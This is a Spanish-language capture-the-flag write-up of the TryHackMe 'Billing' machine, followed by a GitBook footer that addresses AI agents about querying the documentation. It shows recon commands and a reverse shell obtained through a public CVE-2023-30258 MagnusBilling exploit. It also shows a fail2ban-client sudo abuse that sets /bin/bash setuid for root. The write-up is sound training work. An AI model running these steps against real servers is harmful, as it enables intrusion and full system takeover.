> For the complete documentation index, see [llms.txt](https://beafn28.gitbook.io/beafn28/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://beafn28.gitbook.io/beafn28/writeups/tryhackme/billing.md).

# Billing

### 🔍 **RECONOCIMIENTO**

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 10.10.118.35
```

para verificar la conectividad de red.

<figure><img src="/files/2FohkfKnFrFVdnuQiGdl" alt=""><figcaption></figcaption></figure>

A continuación, se realiza el comando:

```bash
nmap 10.10.118.35
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="/files/2kmPHPBWfvlY2uYCHstd" alt=""><figcaption></figcaption></figure>

Como podemos observar durante el escaneo el puerto **22** perteneciente al servicio **SSH,** el puerto **80** perteneciente al servicio **HTTP** y el puerto **3306** perteneciente a **MySQL** están abiertos, por lo que se procederá a indagar más.

### 🔎 **EXPLORACIÓN**

Se utiliza el comando:

```bash
sudo nmap -sCV -p22,80,3306 -v 10.10.118.35
```

para obtener más información sobre esos puertos específicamente.

<figure><img src="/files/lfz8ggJSO6zx3agfDOxv" alt=""><figcaption></figcaption></figure>

Revisamos el puerto 80.

<figure><img src="/files/kxMRuh7epMfunR6JmRkR" alt=""><figcaption></figcaption></figure>

Es un panel de **MagnusBilling** por lo que ahora haremos un escaneo de directorios por si hay algo relevante.

```
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,htm,php,txt,xml,js -u http://10.10.118.35
```

Encontramos un directorio interesante donde nos menciona la versión y así poder encontrar vulnerabilidad.&#x20;

<div><figure><img src="/files/8kfZSf24K7o055BKv4Ld" alt=""><figcaption></figcaption></figure> <figure><img src="/files/1QHNwSDR2Y3rBCNAXavS" alt=""><figcaption></figcaption></figure></div>

### 🚀 **EXPLOTACIÓN**

{% @github-files/github-code-block url="<https://github.com/tinashelorenzi/CVE-2023-30258-magnus-billing-v7-exploit>" %}

```
git clone https://github.com/tinashelorenzi/CVE-2023-30258-magnus-billing-v7-exploit.git
cd CVE-2023-30258-magnus-billing-v7-exploit
```

Realizamos la Reverse Shell.

```
nc -nlvp 4444
python3 exploit.py -t 10.10.118.35 -a 10.8.146.101 -p 4444
```

### 🔐 **PRIVILEGIOS**

Al estar dentro y ejecutar:

```bash
whoami
```

aún no somos **root**, por lo que hacemos:

```bash
sudo -l
```

para ver si hay algo para explotar.

<figure><img src="/files/hfDINmxuwQepWausCXt8" alt=""><figcaption></figcaption></figure>

Hacemos tratamiento de la TTY.

```
script /dev/null -c bash
CTRL+Z
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
```

Tenemos permiso sudo del binario **fail2ban-client**.

{% embed url="<https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/sudo/sudo-fail2ban-client-privilege-escalation/>" %}

```bash
sudo /usr/bin/fail2ban-client status
sudo /usr/bin/fail2ban-client get ast-cli-attck actions
sudo /usr/bin/fail2ban-client set ast-cli-attck addaction evil
sudo /usr/bin/fail2ban-client set ast-cli-attck action evil actionban "chmod +s /bin/bash"
sudo /usr/bin/fail2ban-client set ast-cli-attck banip 1.2.3.5
/bin/bash -p
```

<figure><img src="/files/pL1h86ylDQRjA3OphYBh" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://beafn28.gitbook.io/beafn28/writeups/tryhackme/billing.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
